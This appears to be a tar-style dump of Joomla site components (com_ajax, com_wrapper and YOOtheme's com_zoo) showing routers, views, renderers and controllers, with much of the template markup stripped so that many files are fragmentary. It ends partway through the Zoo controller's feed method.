$module, null); /* * As JModuleHelper::isEnabled always returns true, we check * for an id other than 0 to see if it is published. */ if ($moduleObject->id != 0) { $helperFile = JPATH_BASE . '/modules/mod_' . $module . '/helper.php'; if (strpos($module, '_')) { $parts = explode('_', $module); } elseif (strpos($module, '-')) { $parts = explode('-', $module); } if ($parts) { $class = 'mod'; foreach ($parts as $part) { $class .= ucfirst($part); } $class .= 'Helper'; } else { $class = 'mod' . ucfirst($module) . 'Helper'; } $method = $input->get('method') ? $input->get('method') : 'get'; if (is_file($helperFile)) { require_once $helperFile; if (method_exists($class, $method . 'Ajax')) { try { $results = call_user_func($class . '::' . $method . 'Ajax'); } catch (Exception $e) { $results = $e; } } // Method does not exist else { $results = new LogicException(sprintf('Method %s does not exist', $method . 'Ajax'), 404); } } // The helper file does not exist else { $results = new RuntimeException(sprintf('The file at %s does not exist', 'mod_' . $module . '/helper.php'), 404); } } // Module is not published, you do not have access to it, or it is not assigned to the current menu item else { $results = new LogicException(sprintf('Module %s is not published, you do not have access to it, or it\'s not assigned to the current menu item', 'mod_' . $module), 404); } } /* * Plugin support is based on the "Ajax" plugin group. * * The plugin event triggered is onAjaxFoo, where 'foo' is * the value of the 'plugin' variable passed via the URL * (i.e. index.php?option=com_ajax&plugin=foo) * */ elseif ($input->get('plugin')) { JPluginHelper::importPlugin('ajax'); $plugin = ucfirst($input->get('plugin')); $dispatcher = JEventDispatcher::getInstance(); try { $results = $dispatcher->trigger('onAjax' . $plugin); } catch (Exception $e) { $results = $e; } } // Return the results in the desired format switch ($format) { // JSONinzed case 'json': echo new JResponseJson($results, null, false, $input->get('ignoreMessages', true, 'bool')); break; // Human-readable format case 'debug': echo '
' . print_r($results, true) . '
'; $app->close(); break; // Handle as raw format default: // Output exception if ($results instanceof Exception) { // Log an error JLog::add($results->getMessage(), JLog::ERROR); // Set status header code $app->setHeader('status', $results->getCode(), true); // Echo exception type and message $out = get_class($results) . ': ' . $results->getMessage(); } // Output string/ null elseif (is_scalar($results)) { $out = (string) $results; } // Output array/ object else { $out = implode((array) $results); } echo $out; break; } com_wrapper/metadata.xml000066600000000075150771500630011376 0ustar00 com_wrapper/router.php000066600000003371150771500630011127 0ustar00build($query); } function WrapperParseRoute($segments) { $router = new WrapperRouter; return $router->parse($segments); } com_wrapper/views/index.html000066600000000037150771500630012224 0ustar00 com_wrapper/views/wrapper/view.html.php000066600000004360150771500630014340 0ustar00getParams(); // because the application sets a default page title, we need to get it // right from the menu item itself $title = $params->get('page_title', ''); if (empty($title)) { $title = $app->getCfg('sitename'); } elseif ($app->getCfg('sitename_pagetitles', 0) == 1) { $title = JText::sprintf('JPAGETITLE', $app->getCfg('sitename'), $title); } elseif ($app->getCfg('sitename_pagetitles', 0) == 2) { $title = JText::sprintf('JPAGETITLE', $title, $app->getCfg('sitename')); } $this->document->setTitle($title); if ($params->get('menu-meta_description')) { $this->document->setDescription($params->get('menu-meta_description')); } if ($params->get('menu-meta_keywords')) { $this->document->setMetadata('keywords', $params->get('menu-meta_keywords')); } if ($params->get('robots')) { $this->document->setMetadata('robots', $params->get('robots')); } $wrapper = new stdClass; // auto height control if ($params->def('height_auto')) { $wrapper->load = 'onload="iFrameHeight()"'; } else { $wrapper->load = ''; } $url = $params->def('url', ''); if ($params->def('add_scheme', 1)) { // adds 'http://' if none is set if (substr($url, 0, 1) == '/') { // relative url in component. use server http_host. $wrapper->url = 'http://'. $_SERVER['HTTP_HOST'] . $url; } elseif (!strstr($url, 'http') && !strstr($url, 'https')) { $wrapper->url = 'http://'. $url; } else { $wrapper->url = $url; } } else { $wrapper->url = $url; } //Escape strings for HTML output $this->pageclass_sfx = htmlspecialchars($params->get('pageclass_sfx')); $this->params = &$params; $this->wrapper = &$wrapper; parent::display($tpl); } } com_wrapper/views/wrapper/tmpl/default.php000066600000003101150771500630015013 0ustar00
params->get('show_page_heading')) : ?>

escape($this->params->get('page_heading'))) :?> escape($this->params->get('page_heading')); ?> escape($this->params->get('page_title')); ?>

com_wrapper/views/wrapper/tmpl/default.xml000066600000004404150771500630015033 0ustar00
com_wrapper/views/wrapper/tmpl/index.html000066600000000037150771500630014660 0ustar00 com_wrapper/views/wrapper/tmpl/default.php.backup000066600000003161150771500630016265 0ustar00
params->get('show_page_heading')) : ?>

escape($this->params->get('page_heading'))) :?> escape($this->params->get('page_heading')); ?> escape($this->params->get('page_title')); ?>

com_wrapper/views/wrapper/metadata.xml000066600000000237150771500630014213 0ustar00 com_wrapper/views/wrapper/index.html000066600000000037150771500630013704 0ustar00 com_wrapper/index.html000066600000000037150771500630011067 0ustar00 com_wrapper/wrapper.php000066600000000645150771500630011270 0ustar00execute(JFactory::getApplication()->input->get('task')); $controller->redirect(); com_wrapper/controller.php000066600000002052150771500630011765 0ustar00input->get('view', 'wrapper'); $this->input->set('view', $vName); return parent::display($cachable, array('Itemid' => 'INT')); } } com_wrapper/wrapper.xml000066600000002234150771500630011275 0ustar00 com_wrapper Joomla! Project April 2006 (C) 2005 - 2014 Open Source Matters. All rights reserved. GNU General Public License version 2 or later; see LICENSE.txt admin@joomla.org www.joomla.org 3.0.0 COM_WRAPPER_XML_DESCRIPTION controller.php index.html metadata.xml router.php wrapper.php views language/en-GB.com_wrapper.ini index.html language/en-GB.com_wrapper.ini language/en-GB.com_wrapper.sys.ini com_zoo/assets/js/default.js000066600000002631150771500630012123 0ustar00/* Copyright (C) YOOtheme GmbH, http://www.gnu.org/licenses/gpl.html GNU/GPL */ jQuery(function(t){t("select.auto-submit").bind("change",function(){t('form[name="adminForm"]').submit()});var i={};t.matchHeight=t.matchHeight||function(e,n,h){var r=t(window),a="resize orientationchange",o=e&&i[e];if(!o){o=i[e]={id:e,elements:n,deepest:h,match:function(){var i=this.revert(),e=0;t(this.elements).each(function(){e=Math.max(e,t(this).outerHeight())}).each(function(n){var h="outerHeight";if(i[n].css("box-sizing")=="border-box"){h="height"}var r=t(this),a=i[n],o=a.height()+(e-r[h]());a.css("min-height",o+"px")})},revert:function(){var i=[],e=this.deepest;t(this.elements).each(function(n){var h=e?t(this).find(e+":first"):t(this);i.push(h.css("min-height",""))});return i},remove:function(){r.unbind(a,s);this.revert();delete i[this.id]}};function s(){o.match()}r.bind(a,s)}return o};var e=[];t.onMediaQuery("(min-width: 480px) and (max-width: 959px)",{valid:function(){e=[];t.each([".categories .row > .width25",".categories .row > .width20",".categories > .width25",".categories > .width20",".subcategories > .width25",".subcategories > .width20",".items .row > .width25",".items .row > .width20"],function(i,n){for(var i=0,h=t(n),r=parseInt(h.length/2);icom_zoo/assets/index.html000066600000000036150771500630011517 0ustar00com_zoo/zoo.php000066600000001677150771500630007554 0ustar00path->register($path.'/assets', 'assets'); $zoo->path->register($path.'/controllers', 'controllers'); // add default js $zoo->document->addScript('assets:js/responsive.js'); $zoo->document->addScript('component.site:assets/js/default.js'); try { // load and dispatch application if ($application = $zoo->zoo->getApplication()) { $application->dispatch(); } else { return $zoo->error->raiseError(404, JText::_('Application not found')); } } catch (AppException $e) { $zoo->error->raiseError(500, $e); }com_zoo/router.php000066600000027074150771500630010264 0ustar00alias->category->translateIDToAlias((int) $query['category_id']); } unset($query['task'], $query['view'], $query['layout'], $query['category_id']); // pagination if (isset($query['page'])) { $segments[] = $query['page']; unset($query['page']); } } // alpha index $task = 'alphaindex'; if ((@$query['task'] == $task || @$query['view'] == $task) && isset($query['alpha_char'], $query['app_id'])) { $segments[] = $task; if (!($menu = $app->system->application->getMenu('site') and $menu instanceof JMenu and isset($query['Itemid']) and $item = $menu->getItem($query['Itemid']) and @$item->component == 'com_zoo' and $app_id = $item->params->get('application') and $query['app_id'] == $app_id)) { // Set app alias in the url only if we can't get the app_id from the menu item $segments[] = $app->alias->application->translateIDToAlias((int) $query['app_id']); } $segments[] = $query['alpha_char']; unset($query['task'], $query['view'], $query['alpha_char'], $query['app_id']); // pagination if (isset($query['page'])) { $segments[] = $query['page']; unset($query['page']); } } // tag $task = 'tag'; if ((@$query['task'] == $task || @$query['view'] == $task) && isset($query['tag'], $query['app_id'])) { $segments[] = $task; if (!($menu = $app->system->application->getMenu('site') and $menu instanceof JMenu and isset($query['Itemid']) and $item = $menu->getItem($query['Itemid']) and @$item->component == 'com_zoo' and $app_id = $item->params->get('application') and $query['app_id'] == $app_id)) { // Set app alias in the url only if we can't get the app_id from the menu item $segments[] = $app->alias->application->translateIDToAlias((int) $query['app_id']); } $segments[] = $query['tag']; unset($query['task'], $query['view'], $query['tag'], $query['app_id']); // pagination if (isset($query['page'])) { $segments[] = $query['page']; unset($query['page']); } } // item $task = 'item'; if (@$query['task'] == $task || @$query['view'] == $task) { if (@$query['task'] == $task && @$query['item_id']) { $segments[] = $task; $segments[] = $app->alias->item->translateIDToAlias((int) $query['item_id']); } unset($query['task'], $query['view'], $query['layout'], $query['item_id']); } // feed $task = 'feed'; if ((@$query['task'] == $task || @$query['view'] == $task) && isset($query['type'], $query['app_id'], $query['category_id'])) { $segments[] = $task; $segments[] = $query['type']; $segments[] = $app->alias->application->translateIDToAlias((int) $query['app_id']); if ($query['category_id']) { $segments[] = $app->alias->category->translateIDToAlias((int) $query['category_id']); } unset($query['task'], $query['view'], $query['type'], $query['app_id'], $query['category_id']); } // submission $task = 'submission'; if (((@$query['task'] == $task || @$query['view'] == $task) && @$query['layout'] == 'submission')) { $segments[] = $task; $segments[] = @$query['layout']; if (isset($query['submission_id'], $query['type_id'], $query['submission_hash'])) { $segments[] = $app->alias->submission->translateIDToAlias((int) $query['submission_id']); $segments[] = $query['type_id']; $segments[] = $query['submission_hash']; } if (isset($query['item_id'])) { $segments[] = $app->alias->item->translateIDToAlias((int) @$query['item_id']); } unset($query['task'], $query['view'], $query['layout'], $query['submission_id'], $query['type_id'], $query['submission_hash'], $query['item_id']); } // submission mysubmissions $task = 'submission'; if (((@$query['task'] == $task || @$query['view'] == $task) && @$query['layout'] == 'mysubmissions')) { $segments[] = $task; $segments[] = @$query['layout']; $segments[] = $app->alias->submission->translateIDToAlias((int) @$query['submission_id']); unset($query['task'], $query['view'], $query['layout'], $query['submission_id']); } $app->event->dispatcher->notify($app->event->create(null, 'application:sefbuildroute', array('segments' => &$segments, 'query' => &$query))); return $segments; } function ZooParseRoute($segments) { $app = App::getInstance('zoo'); // init vars $vars = array(); $count = count($segments); // fix segments (see JRouter::_decodeSegments) foreach (array_keys($segments) as $key) { $segments[$key] = str_replace(':', '-', $segments[$key]); } // frontpage (with optional pagination) $task = 'frontpage'; if ($count == 1 && $segments[0] == $task) { $vars['task'] = $task; } if ($count == 2 && $segments[0] == $task) { $vars['task'] = $task; $vars['page'] = (int) $segments[1]; } // category (with optional pagination) $task = 'category'; if ($count == 2 && $segments[0] == $task) { $vars['task'] = $task; $vars['category_id'] = (int) $app->alias->category->translateAliasToID($segments[1]); } if ($count == 3 && $segments[0] == $task) { $vars['task'] = $task; $vars['category_id'] = (int) $app->alias->category->translateAliasToID($segments[1]); $vars['page'] = (int) $segments[2]; } // alpha index (with optional pagination) $task = 'alphaindex'; if ($count == 2 && $segments[0] == $task && $menu_item = $app->menu->getActive()) { $vars['task'] = $task; $vars['alpha_char'] = (string) $segments[1]; $vars['app_id'] = $menu_item->params->get('application'); } if ($count == 3 && $segments[0] == $task) { $vars['task'] = $task; if (!$vars['app_id'] = (int) $app->alias->application->translateAliasToID($segments[1]) and $menu_item = $app->menu->getActive()) { $vars['app_id'] = $menu_item->params->get('application'); $vars['alpha_char'] = (string) $segments[1]; $vars['page'] = (int) $segments[2]; } else { $vars['alpha_char'] = (string) $segments[2]; } } if ($count == 4 && $segments[0] == $task) { $vars['task'] = $task; $vars['app_id'] = (int) $app->alias->application->translateAliasToID($segments[1]); $vars['alpha_char'] = (string) $segments[2]; $vars['page'] = (int) $segments[3]; } // tag (with optional pagination) $task = 'tag'; // if a menu item is set, avoid using app alias in the url if ($count == 2 && $segments[0] == $task && $menu_item = $app->menu->getActive()) { $vars['task'] = $task; $vars['app_id'] = $menu_item->params->get('application'); $vars['tag'] = (string) $segments[1]; } if ($count == 3 && $segments[0] == $task) { $vars['task'] = $task; if (!$vars['app_id'] = (int) $app->alias->application->translateAliasToID($segments[1]) and $menu_item = $app->menu->getActive()) { $vars['app_id'] = $menu_item->params->get('application'); $vars['tag'] = (string) $segments[1]; $vars['page'] = (int) $segments[2]; } else { $vars['tag'] = (string) $segments[2]; } } if ($count == 4 && $segments[0] == $task) { $vars['task'] = $task; $vars['app_id'] = (int) $app->alias->application->translateAliasToID($segments[1]); $vars['tag'] = (string) $segments[2]; $vars['page'] = (int) $segments[3]; } // item $task = 'item'; if ($count == 2 && $segments[0] == $task) { $vars['task'] = $task; $vars['item_id'] = (int) $app->alias->item->translateAliasToID($segments[1]); } // feed $task = 'feed'; if ($count == 3 && $segments[0] == $task) { $vars['task'] = $task; $vars['type'] = (string) $segments[1]; $vars['app_id'] = (int) $app->alias->application->translateAliasToID($segments[2]); } if ($count == 4 && $segments[0] == $task) { $vars['task'] = $task; $vars['type'] = (string) $segments[1]; $vars['app_id'] = (int) $app->alias->application->translateAliasToID($segments[2]); $vars['category_id'] = (int) $app->alias->category->translateAliasToID($segments[3]); } // submission $task = 'submission'; $layout = 'submission'; if ($count == 2 && $segments[0] == $task && $segments[1] == $layout) { $vars['task'] = $task; $vars['layout'] = (string) $segments[1]; } if ($count == 5 && $segments[0] == $task && $segments[1] == $layout) { $vars['task'] = $task; $vars['layout'] = (string) $segments[1]; $vars['submission_id'] = (int) $app->alias->submission->translateAliasToID($segments[2]); $vars['type_id'] = (string) $segments[3]; $vars['submission_hash'] = (string) $segments[4]; } if ($count == 6 && $segments[0] == $task && $segments[1] == $layout) { $vars['task'] = $task; $vars['layout'] = (string) $segments[1]; $vars['submission_id'] = (int) $app->alias->submission->translateAliasToID($segments[2]); $vars['type_id'] = (string) $segments[3]; $vars['submission_hash'] = (string) $segments[4]; $vars['item_id'] = (int) $app->alias->item->translateAliasToID($segments[5]); } // submission mysubmissions $task = 'submission'; $layout = 'mysubmissions'; if ($count == 2 && $segments[0] == $task && $segments[1] == $layout) { $vars['task'] = $task; $vars['layout'] = (string) $segments[1]; } if ($count == 3 && $segments[0] == $task && $segments[1] == $layout) { $vars['task'] = $task; $vars['layout'] = (string) $segments[1]; $vars['submission_id'] = (int) $app->alias->submission->translateAliasToID($segments[2]); } // try to retrieve vars from menu item if (empty($vars)) { if (($count == 0 || $count == 1 && is_numeric($segments[0])) && $menu_item = $app->menu->getActive()) { $vars['task'] = @$menu_item->query['view']; switch ($vars['task']) { case 'frontpage': if ($count == 1) { $vars['page'] = (int) $segments[0]; } break; case 'category': if ($count == 1) { $vars['page'] = (int) $segments[0]; $vars['category_id'] = @$menu_item->query['category_id']; } break; } } } $app->event->dispatcher->notify($app->event->create(null, 'application:sefparseroute', array('segments' => &$segments, 'vars' => &$vars))); return $vars; }com_zoo/views/submission/tmpl/submission.xml000066600000001670150771500630015446 0ustar00 Submission Displays a submission form for a single item.
com_zoo/views/submission/tmpl/submission.php000066600000000367150771500630015437 0ustar00com_zoo/views/submission/tmpl/mysubmissions.php000066600000000367150771500630016170 0ustar00 My Submissions Displays an overview of users submitted articles.
com_zoo/views/submission/index.html000066600000000036150771500630013545 0ustar00com_zoo/views/index.html000066600000000036150771500630011352 0ustar00com_zoo/views/item/tmpl/element.xml000066600000000127150771500630013443 0ustar00 com_zoo/views/item/tmpl/index.html000066600000000036150771500630013264 0ustar00com_zoo/views/item/tmpl/element.php000066600000001030150771500630013424 0ustar00app->document->addStylesheet('assets:css/ui.css'); // load element require_once($this->app->path->path('component.admin:views/item/tmpl/element.php')); ?> com_zoo/views/item/tmpl/item.xml000066600000001017150771500630012747 0ustar00
com_zoo/views/item/index.html000066600000000036150771500630012310 0ustar00com_zoo/views/frontpage/tmpl/index.html000066600000000036150771500630014313 0ustar00com_zoo/views/frontpage/tmpl/frontpage.xml000066600000000665150771500630015035 0ustar00
com_zoo/views/frontpage/index.html000066600000000036150771500630013337 0ustar00com_zoo/views/category/tmpl/index.html000066600000000036150771500630014143 0ustar00com_zoo/views/category/tmpl/category.xml000066600000001070150771500630014504 0ustar00
com_zoo/views/category/index.html000066600000000036150771500630013167 0ustar00com_zoo/index.html000066600000000036150771500630010215 0ustar00com_zoo/renderer/index.html000066600000000036150771500630012023 0ustar00com_zoo/renderer/element/pipe.php000066600000001314150771500630013125 0ustar00config->get('name'); } // create class attribute $class = 'element element-'.$element->getElementType().($params['first'] ? ' first' : '').($params['last'] ? ' last' : ''); ?> render($params); ?> config->get('name'); } // create class attribute $class = 'element element-'.$element->getElementType().($params['first'] ? ' first' : '').($params['last'] ? ' last' : ''); ?> render($params); ?> '; $label .= ($params['altlabel']) ? $params['altlabel'] : $element->config->get('name'); $label .= ''; } // create class attribute $class = 'element element-'.$element->getElementType().($params['first'] ? ' first' : '').($params['last'] ? ' last' : ''); ?>

render($params); ?>

com_zoo/renderer/element/default.php000066600000000752150771500630013621 0ustar00config->get('name'); } // render element echo $label.' '.$element->render($params).' ';com_zoo/renderer/element/submission/index.html000066600000000036150771500630015647 0ustar00com_zoo/renderer/element/submission/block.php000066600000002225150771500630015457 0ustar00app->data->create($params); // add tooltip $tooltip = ''; if ($params->get('show_tooltip') && ($description = $element->config->get('description'))) { $tooltip = ' class="hasTip" title="'.JText::_($description).'"'; } // create label $label = ''; $label .= JText::_($params->get('altlabel') ? $params->get('altlabel') : $element->config->get('name')); $label .= ''; // create error $error = ''; if (@$element->error) { $error = '

'.(string) $element->error.'

'; } // create class attribute $class = 'element element-'.$element->getElementType().($params->get('first') ? ' first' : '').($params->get('last') ? ' last' : '').($params->get('required') ? ' required' : '').(@$element->error ? ' error' : ''); $element->loadAssets(); ?>
renderSubmission($params).$error; ?>
com_zoo/renderer/element/index.html000066600000000036150771500630013454 0ustar00com_zoo/renderer/element/comma.php000066600000001315150771500630013265 0ustar00config->get('name'); } // create class attribute $class = 'element element-'.$element->getElementType().($params['first'] ? ' first' : '').($params['last'] ? ' last' : ''); ?> render($params); ?> com_zoo/renderer/element/list.php000066600000001317150771500630013146 0ustar00'; $label .= ($params['altlabel']) ? $params['altlabel'] : $element->config->get('name'); $label .= ': '; } // create class attribute $class = 'element element-'.$element->getElementType().($params['first'] ? ' first' : '').($params['last'] ? ' last' : ''); ?>
  • render($params); ?>
  • com_zoo/renderer/element/block.php000066600000001307150771500630013264 0ustar00'; $label .= ($params['altlabel']) ? $params['altlabel'] : $element->config->get('name'); $label .= ''; } // create class attribute $class = 'element element-'.$element->getElementType().($params['first'] ? ' first' : '').($params['last'] ? ' last' : ''); ?>
    render($params); ?>
    com_zoo/renderer/element/inline.php000066600000001245150771500630013451 0ustar00config->get('name'); } // create class attribute $class = 'element element-'.$element->getElementType().($params['first'] ? ' first' : '').($params['last'] ? ' last' : ''); ?> render($params); ?> com_zoo/controllers/default.php000066600000044763150771500630012742 0ustar00application = $this->app->zoo->getApplication(); // get Joomla application $this->joomla = $this->app->system->application; // get params $this->params = $this->joomla->getParams(); // get pathway $this->pathway = $this->joomla->getPathway(); // registers tasks $this->registerTask('frontpage', 'category'); } /* Function: display View method for MVC based architecture Returns: Void */ public function display($cachable = false, $urlparams = false) { // execute task $this->taskMap['display'] = null; $this->taskMap['__default'] = null; $this->execute($this->app->request->getCmd('view')); } /* Function: callElement Element callback method Returns: Void */ public function callElement() { // get request vars $element = $this->app->request->getCmd('element', ''); $method = $this->app->request->getCmd('method', ''); $args = $this->app->request->getVar('args', array(), 'default', 'array'); $item_id = (int) $this->app->request->getInt('item_id', 0); // get user $user = $this->app->user->get(); // get item $item = $this->app->table->item->get($item_id); // raise 404 if item does not exist or is not published if (empty($item) || !$item->isPublished()) { return $this->app->error->raiseError(404, JText::_('Item not found')); } // raise warning when item can not be accessed if (!$item->canAccess($user)) { return $this->app->error->raiseError(403, JText::_('Unable to access item')); } // get element and execute callback method if ($element = $item->getElement($element)) { $element->callback($method, $args); } } public function item() { // get request vars $item_id = (int) $this->app->request->getInt('item_id', $this->params->get('item_id', 0)); // get item $this->item = $this->app->table->item->get($item_id); // get user $user = $this->app->user->get(); // raise 404 if item does not exist or is not published if (empty($this->item) || !$this->item->isPublished()) { return $this->app->error->raiseError(404, JText::_('Item not found')); } // raise 403 if user is not allowed to view item if (!$this->item->canAccess($user)) { // Show error message if logged in and cannot access item if ($user->id) { return $this->app->error->raiseWarning(403, JText::_('Unable to access item')); } // redirect to login for guest users $return = urlencode(base64_encode($this->app->route->item($this->item, false))); $link = JRoute::_(sprintf('index.php?option=com_users&view=login&return=%s', $return), false); $this->setRedirect($link, JText::_('Unable to access item'), 'error'); return $this->redirect(); } // add canonical if ($this->app->system->document instanceof JDocumentHTML) { $this->app->system->document->addHeadLink(JRoute::_($this->app->route->item($this->item, false), true, -1), 'canonical'); $headData = $this->app->system->document->getHeadData(); foreach ($headData['links'] as $key => $value) { if($value['relation'] == 'canonical' && $key != JRoute::_($this->app->route->item($this->item, false), true, -1)) { unset($headData['links'][$key]); } } $this->app->system->document->setHeadData($headData); } // get category_id $category_id = (int) $this->app->request->getInt('category_id', $this->item->getPrimaryCategoryId()); // create item pathway $itemid = $this->params->get('item_id'); if ($this->item->id != $itemid) { $categories = $this->application->getCategoryTree(true); if (isset($categories[$category_id])) { $category = $categories[$category_id]; $addpath = false; $catid = $this->params->get('category'); foreach ($category->getPathway() as $cat) { if (!$catid || $addpath) { $link = JRoute::_($this->app->route->category($cat)); $this->pathway->addItem($cat->name, $link); } if ($catid && $catid == $cat->id) { $addpath = true; } } } $this->pathway->addItem($this->item->name, $this->app->route->item($this->item)); } // update hit count $this->item->hit(); // get page title, if exists $title = $this->item->getParams()->get('metadata.title'); $title = empty($title) ? $this->item->name : $title; if ($menu = $this->app->menu->getActive() and @$menu->query['view'] == 'item' and $this->app->parameter->create($menu->params)->get('item_id') == $itemid) { if ($page_title = $this->app->parameter->create($menu->params)->get('page_title')) { $title = $page_title; } } // set metadata $this->app->document->setTitle($this->app->zoo->buildPageTitle($title)); if ($this->app->system->config->get('MetaAuthor')) $this->app->document->setMetadata('author', $this->item->getAuthor()); if ($description = $this->item->getParams()->get('metadata.description')) $this->app->document->setDescription($description); foreach (array('keywords', 'author', 'robots') as $meta) { if ($value = $this->item->getParams()->get("metadata.$meta")) $this->app->document->setMetadata($meta, $value); } // get template and params if (!$this->template = $this->application->getTemplate()) { return $this->app->error->raiseError(500, JText::_('No template selected')); } $this->params = $this->item->getParams('site'); // set renderer $this->renderer = $this->app->renderer->create('item')->addPath(array($this->app->path->path('component.site:'), $this->template->getPath())); // display view $this->getView('item')->addTemplatePath($this->template->getPath())->setLayout('item')->display(); } public function submission() { // perform the request task $this->request->set('task', $this->request->get('layout', '')); $this->app->dispatch('submission'); } public function category() { // get request vars $page = $this->app->request->getInt('page', 1); $category_id = (int) $this->app->request->getInt('category_id', $this->params->get('category')); // init vars $this->categories = $this->application->getCategoryTree(true, $this->app->user->get(), true); // raise 404 if category does not exist if ($category_id && !$this->app->table->category->get($category_id)) { return $this->app->error->raiseError(404, JText::_('Category not found')); } // raise warning when category can not be accessed if (!isset($this->categories[$category_id])) { return $this->app->error->raiseError(403, JText::_('Unable to access category')); } $this->category = $this->categories[$category_id]; $params = $category_id ? $this->category->getParams('site') : $this->application->getParams('frontpage'); $this->item_order = $params->get('config.item_order'); $layout = $category_id == 0 ? 'frontpage' : 'category'; $items_per_page = $params->get('config.items_per_page', 15); $offset = max(($page - 1) * $items_per_page, 0); // get categories and items $this->items = $this->app->table->item->getByCategory($this->application->id, $category_id, true, null, $this->item_order, $offset, $items_per_page); $item_count = $this->category->id == 0 ? $this->app->table->item->getItemCountFromCategory($this->application->id, $category_id, true) : $this->category->itemCount(); // set categories to display $this->selected_categories = $this->category->getChildren(); // get item pagination $this->pagination = $this->app->pagination->create($item_count, $page, $items_per_page, 'page', 'app'); $this->pagination->setShowAll($items_per_page == 0); $this->pagination_link = $layout == 'category' ? $this->app->route->category($this->category, false) : $this->app->route->frontpage($this->application->id); // create pathway $addpath = false; $catid = $this->params->get('category'); foreach ($this->category->getPathway() as $cat) { if (!$catid || $addpath) { $this->pathway->addItem($cat->name, $this->app->route->category($cat)); } if ($catid && $catid == $cat->id) { $addpath = true; } } // get metadata $title = $params->get('metadata.title') ? $params->get('metadata.title') : ($category_id ? $this->category->name : ''); $description = $params->get('metadata.description'); $keywords = $params->get('metadata.keywords'); if ($menu = $this->app->menu->getActive() and in_array(@$menu->query['view'], array('category', 'frontpage')) and $menu_params = $this->app->parameter->create($menu->params) and $menu_params->get('category') == $category_id) { if ($page_title = $menu_params->get('page_title') or $page_title = $menu->title) { $title = $page_title; } if ($page_description = $menu_params->get('menu-meta_description')) { $description = $page_description; } if ($page_keywords = $menu_params->get('menu-meta_keywords')) { $keywords = $page_keywords; } } // set page title if ($title) { $this->app->document->setTitle($this->app->zoo->buildPageTitle($title)); } if ($description) { $this->app->document->setDescription($description); } if ($keywords) { $this->app->document->setMetadata('keywords', $keywords); } // set metadata foreach (array('author', 'robots') as $meta) { if ($value = $params->get("metadata.$meta")) $this->app->document->setMetadata($meta, $value); } // add feed links if ($params->get('config.show_feed_link') && $this->app->system->document instanceof JDocumentHTML) { if ($alternate = $params->get('config.alternate_feed_link')) { $this->app->document->addHeadLink($alternate, 'alternate', 'rel', array('type' => 'application/rss+xml', 'title' => 'RSS 2.0')); } else { $this->app->document->addHeadLink(JRoute::_($this->app->route->feed($this->category, 'rss')), 'alternate', 'rel', array('type' => 'application/rss+xml', 'title' => 'RSS 2.0')); $this->app->document->addHeadLink(JRoute::_($this->app->route->feed($this->category, 'atom')), 'alternate', 'rel', array('type' => 'application/atom+xml', 'title' => 'Atom 1.0')); } } // set alphaindex if ($params->get('template.show_alpha_index')) { $this->alpha_index = $this->_getAlphaindex(); } // set template and params if (!$this->template = $this->application->getTemplate()) { return $this->app->error->raiseError(500, JText::_('No template selected')); } $this->params = $params; // set renderer $this->renderer = $this->app->renderer->create('item')->addPath(array($this->app->path->path('component.site:'), $this->template->getPath())); // display view $this->getView($layout)->addTemplatePath($this->template->getPath())->setLayout($layout)->display(); } public function alphaindex() { // get request vars $page = $this->app->request->getInt('page', 1); $this->alpha_char = $this->app->request->getString('alpha_char', ''); // get params $params = $this->application->getParams('site'); $items_per_page = $params->get('config.items_per_page', 15); $this->item_order = $params->get('config.item_order'); $add_alpha_index = $params->get('config.alpha_index', 0); // get categories $this->categories = $add_alpha_index == 1 || $add_alpha_index == 3 ? $this->application->getCategoryTree(true, $this->app->user->get(), true) : array(); // set alphaindex $this->alpha_index = $this->_getAlphaindex(); $this->alpha_char = empty($this->alpha_char) ? $this->alpha_index->getOther() : $this->alpha_index->getChar($this->alpha_char); // get items $this->items = array(); if ($add_alpha_index == 2 || $add_alpha_index == 3) { $table = $this->app->table->item; if ($this->alpha_char == $this->alpha_index->getOther()) { $this->items = $table->getByCharacter($this->application->id, $this->alpha_index->getIndex(), true, true, null, $this->item_order); } else { $this->items = $table->getByCharacter($this->application->id, $this->alpha_char, false, true, null, $this->item_order); } } // get item pagination $this->pagination = $this->app->pagination->create(count($this->items), $page, $items_per_page, 'page', 'app'); $this->pagination->setShowAll($items_per_page == 0); $this->pagination_link = $this->app->route->alphaindex($this->application->id, $this->alpha_char); // slice out items if (!$this->pagination->getShowAll()) { $this->items = array_slice($this->items, $this->pagination->limitStart(), $items_per_page); } // set category and categories to display if (isset($this->categories[0])) { $this->category = $this->categories[0]; } $this->selected_categories = $this->alpha_index->getObjects($this->alpha_char, 'category'); // create pathway $this->pathway->addItem(JText::_('Alpha Index'), JRoute::_($this->app->route->alphaindex($this->application->id, $this->alpha_char))); // set template and params if (!$this->template = $this->application->getTemplate()) { return $this->app->error->raiseError(500, JText::_('No template selected')); } $this->params = $params; // set renderer $this->renderer = $this->app->renderer->create('item')->addPath(array($this->app->path->path('component.site:'), $this->template->getPath())); // display view $this->getView('alphaindex')->addTemplatePath($this->template->getPath())->setLayout('alphaindex')->display(); } public function tag() { // get request vars $page = $this->app->request->getInt('page', 1); $this->tag = $this->app->request->getString('tag', ''); // get params $params = $this->application->getParams('site'); $items_per_page = $params->get('config.items_per_page', 15); $this->item_order = $params->get('config.item_order'); // get categories and items $this->categories = $this->application->getCategoryTree(true); $this->items = $this->app->table->item->getByTag($this->application->id, $this->tag, true, null, $this->item_order); // get item pagination $this->pagination = $this->app->pagination->create(count($this->items), $page, $items_per_page, 'page', 'app'); $this->pagination->setShowAll($items_per_page == 0); $this->pagination_link = $this->app->route->tag($this->application->id, $this->tag); // slice out items if (!$this->pagination->getShowAll()) { $this->items = array_slice($this->items, $this->pagination->limitStart(), $items_per_page); } // set alphaindex if ($params->get('template.show_alpha_index')) { $this->alpha_index = $this->_getAlphaindex(); } // set metadata $this->app->document->setTitle($this->app->zoo->buildPageTitle($this->tag)); // create pathway $this->pathway->addItem(JText::_('Tags').': '.$this->tag, JRoute::_($this->app->route->tag($this->application->id, $this->tag))); // get template and params if (!$this->template = $this->application->getTemplate()) { return $this->app->error->raiseError(500, JText::_('No template selected')); } $this->params = $params; // set renderer $this->renderer = $this->app->renderer->create('item')->addPath(array($this->app->path->path('component.site:'), $this->template->getPath())); // display view $this->getView('tag')->addTemplatePath($this->template->getPath())->setLayout('tag')->display(); } public function feed() { // get request vars $category_id = (int) $this->app->request->getInt('category_id', $this->params->get('category')); // get params $all_categories = $this->application->getCategoryTree(true); // raise warning when category can not be accessed if (!isset($all_categories[$category_id])) { return $this->app->error->raiseWarning(404, JText::_('Unable to access category')); } $category = $all_categories[$category_id]; $params = $category_id ? $category->getParams('site') : $this->application->getParams('frontpage'); $show_feed_link = $params->get('config.show_feed_link', 0); $feed_title = 